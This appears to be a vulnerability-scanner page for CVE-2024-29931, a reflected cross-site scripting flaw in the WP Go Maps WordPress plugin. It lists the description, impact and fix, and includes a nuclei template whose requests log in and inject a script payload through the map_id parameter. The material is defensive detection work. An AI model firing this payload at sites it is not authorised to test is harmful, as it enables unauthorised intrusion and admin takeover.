WP Go Maps <= 9.0.29 - Cross-Site Scripting

mediumseverity

6.1CVSS score

0.8%likelihood of exploitation, next 30 days

56%of all CVEs are less likely

Readycheck to confirm it

WP Go Maps (formerly WP Google Maps) plugin for WordPress versions before 9.0.30 is vulnerable to Reflected Cross-Site Scripting via the 'map_id' parameter in the admin map edit page.

Impact

Attackers can execute arbitrary scripts in authenticated admin browsers, potentially leading to session hijacking, privilege escalation, WordPress admin account takeover, malicious plugin installation, and website defacement.

Fix

Update WP Go Maps plugin to version 9.0.30 or later.

How to confirm it

Send: GET /wp-content/plugins/wp-google-maps/readme.txt
Positive when: compare_versions(version, '<= 9.0.29') and contains(body, 'WP Go Maps') || contains(body, 'WP Google Maps')
Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, 'wordpress_logged_in')
Send: GET /wp-admin/admin.php?page=wp-google-maps-menu&action=edit&map_id=1%27%3E%3C/a%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E%3Ca%20x%3D%27
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(body, "</a><script>alert(document.domain)</script><a", "wp-google-maps")

Run it with nuclei: nuclei -id CVE-2024-29931 -u <target>

The full check

id: CVE-2024-29931

info:
  name: WP Go Maps <= 9.0.29 - Cross-Site Scripting
  author: Shivam Kamboj
  severity: medium
  description: |
    WP Go Maps (formerly WP Google Maps) plugin for WordPress versions before 9.0.30 is vulnerable to Reflected Cross-Site Scripting via the 'map_id' parameter in the admin map edit page.
  impact: |
    Attackers can execute arbitrary scripts in authenticated admin browsers, potentially leading to session hijacking, privilege escalation, WordPress admin account takeover, malicious plugin installation, and website defacement.
  remediation: |
    Update WP Go Maps plugin to version 9.0.30 or later.
  reference:
    - https://patchstack.com/database/wordpress/plugin/wp-google-maps/vulnerability/wordpress-wp-go-maps-plugin-9-0-29-reflected-cross-site-scripting-xss-vulnerability
    - https://wpscan.com/vulnerability/03c3e0ab-3373-4ba6-90fb-a5245b0af34e/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29931
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-29931
    epss-score: 0.00753
    epss-percentile: 0.55382
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 4
    vendor: codecabin
    product: wp_go_maps
    framework: wordpress
  tags: cve,cve2024,wordpress,wp,wp-plugin,xss,wp-google-maps,wp-go-maps,authenticated,vkev,vuln

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /wp-content/plugins/wp-google-maps/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "compare_versions(version, '<= 9.0.29')"
          - "contains(body, 'WP Go Maps') || contains(body, 'WP Google Maps')"
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        name: version
        group: 1
        regex:
          - 'Stable tag: ([0-9.]+)'
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, 'wordpress_logged_in')
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=wp-google-maps-menu&action=edit&map_id=1%27%3E%3C/a%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E%3Ca%20x%3D%27 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "</a><script>alert(document.domain)</script><a", "wp-google-maps")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from